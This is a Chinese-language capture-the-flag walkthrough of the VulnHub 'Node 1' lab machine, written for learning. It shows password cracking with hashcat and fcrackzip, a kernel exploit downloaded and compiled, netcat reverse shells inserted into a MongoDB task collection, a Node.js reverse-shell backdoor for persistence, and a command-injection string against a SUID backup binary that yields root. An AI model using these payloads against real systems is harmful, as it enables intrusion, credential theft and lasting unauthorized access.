vulnhub-Node-1通关教程
简单的靶机,快速过了,靶机IP是163
nmap 192.168.135.0/24 -sP

我们发现开启的端口,简单的思路就是破解ssh。
nmap 192.168.135.163

这里没有扫服务,但是我先说就是老样子,他做了修改,我们还是枚举http信息,获得ssh的信息。
nmap 192.168.135.163 -p- -A

我们发现这里js暴露在前端。还泄露了home路径。

我们查看home.js发现泄露出新路径/api/users/latest。这个api的都不简单。

通过api路径我们成功访问到用户名信息和加密的密匙信息。

老打法,我们看看是什么。
Hash-idenifier

又是hash256,我们将hash保存到本地,用hashcat破解他。

这里 -m 1400 是指定hash256,使用老字典rockyou.txt
Locate rockyou.txt
Hashcat -m 1400 hash.txt /usr/share/wordlists/rockyou.txt


myP14ceAdm1nAcc0uNT/Manchester,tom/spongebob,mark/snowflake,这里我直接粘贴word首单词会大写>_<
Hashcat -m 1400 hash.txt --show

我们登录网站发现下载了个文件,发现里面是base64编码。。。我们将他转换解码到我们的文件看看是什么东西。
Cat myplace.backup

我们发现解码后是ZIP文件。解压它估计就能获得shell了呢?
Cat myplace.backup | base64 -d > yang
File yang

我的天,这都要密码。没事我们可以用fcrackzip来破解。

先将文件改为zip格式,在找rockyou.txt字典,接着就可以用fcrackzip来破解。
mv yang yang.zip
locate rockyou.txt
fcrackzip -D -u -p /usr/share/wordlists/rockyou.txt yang.zip
-D 用字典爆破 -u 用unzip过滤假阳性结果 -p指定字典。。这里-p顺序很重要啊我第二次打手快直接运行不了>_<

发现是网站的源码,查看源代码发现了mark的shell密匙信息。

查看里面的app.js发现mark的ssh登录密匙。
mark:5AYRft73VtFpc84k@localhost:27017

成功登录mark。这里我使用了两个提权方法后续会讲解。
Ssh mark@192.168.135.163 //5AYRft73VtFpc84k

我是有脚本的,第一次已经跑过了。。。这里你如果没有linpeas.sh可以去github上下载,也可以简单的进行手工枚举。毕竟Linux提权来来回回就那几个来回用(目前为止)。什么内核啦,sudo/SUID/cron计划任务/容器逃逸/UDF这些之类的。。。
Uname -a
Sudo -V
Ps -aux | grep mongodb
Ss -plunt | grep 27017

对于mark我们可以直接使用内核提权。
Searchsploit linux 4.4.0

将其下载下来,上传到靶机,如果靶机安装了GCC编译,我是推荐到靶机编译的。
Searchsploit -m 44298.c

Which gcc

这里上传exp后直接编译运行就提升到了root权限。
Wget http://192.168.135.155:8000/44298.c
Gcc 44298.c -o yang
Chmod 777 yang
./yang

拿flag不是我们的目的没什么好解释的,到这里也可以结束了,但是我们枚举出还有tom用户呢。

查看不以root运行的进程。
Ps -aux | grep -v root

我们发现node.js时ELF二级制文件,这个对我们后续留后门有帮助。

进入mongodb,写入反弹shell,执行命令获得tomshell。
mongo -u mark -p 5AYRft73VtFpc84k scheduler
show collections
db.tasks.find({})
db.tasks.insert({cmd: "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.135.155 4444 >/tmp/f"})
WriteResult({ "nInserted" : 1 })


提前开启监听,得到尾shell,不稳定,将他修复
Python -c ‘import pty;pty.spawn(“/bin/bash”)’
Stty raw -echo; fg
Export TERM=xterm-256color

我们找找SUID,利用SUID提权,任何人执行了SUIDroot二进制文件,二进制内部代码都以root身份执行。
Find / -perm -4000 2>/dev/null

我们可以用上次用过的nc传输(安装了nc),当python没有安装时,base64太长时,这个方法也是不错的。
Nc 192.168.135.155 1111 < backup
Nc -vlp 1111 >backup


这里md5不会变化的,一致就是完整上传,不一致就是不对。。。
Md5sum backup


这里我再分享一个方法,但是我就不往下做了,看到这里你应该也发现了吧,md5不会骗人,base64也很真诚。
Cat backup | base64

移动到tmp,方便我们分析。

我们直接在tomshell提权,加入令牌直接获得root权限。
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "$(echo '/any\n/bin/bash\nany')"

先获取令牌cat /var/www/myplace/app.js
/root
/etc
/tmp/.backup_%i
/usr/bin/zip -r -P magicword %s %s > /dev/null
/usr/bin/base64 -w0 %s
The target path doesn't exist
1. 它检查有效的访问令牌
2. 对于位置/root和/etc,它具有硬编码的base64输出
3. 如果位置不是/etc或/root,它将在/tmp文件夹中创建一个临时文件
4. 然后使用以下命令压缩到特定位置。/usr/bin/zip -r -P magicword %s %s > /dev/null

Tom提权还能用我们之前找到的node.js写入木马方式获得tom反弹shell,再利用我们上面学到的backup提权(这就相当于给tom留了个后门,方便后面拿tomshell)
接着用mongodb获取tomshell
db.tasks.insert({cmd: "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.135.155 4444 >/tmp/f"})
WriteResult({ "nInserted" : 1 })


将后门反弹shell木马写入shell.js
cat > /tmp/shell.js <<'EOF'
(function(){
var net = require("net"),cp=require("child_process"),sh=cp.spawn("/bin/sh",[]);
var client=new net.Socket();
client.connect(1234,"192.168.135.155",function(){
client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);
});
return /a/;
})();
EOF

在tom登录mark的mongodb,将脚本写入数据库
mongo -u mark -p 5AYRft73VtFpc84k scheduler
db.tasks.insert({"cmd": "/usr/bin/node /tmp/shell.js"})

提前开启监听就能获得tomshell

这里接着用SUID二进制backup提权。
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "$(echo '/any\n/bin/bash\nany')"

这台靶机还是简单的,估计是有内核提权的缘故吧>_<我们分析一下。我们根据nmap扫描确定思路方向,从web获取ssh信息。我们通过web发现登录信息,登录进去后web泄露了源码,里面我们获取到mark的ssh(和mongodb的密码)。我们通过枚举mark的信息发现了内核提权,和tom用户,还发现mongodb本地运行。这里我们利用内核提权mark是最简单的。我们 也可以通过在mongodb写入shell来获得tom的shell。我们利用SUID的backup来给tom提权。这里我们还咋node.js留下了后门写入mongodb也能获得tomshell,利用rootSUID二进制执行获得root权限。
浙公网安备 33010602011771号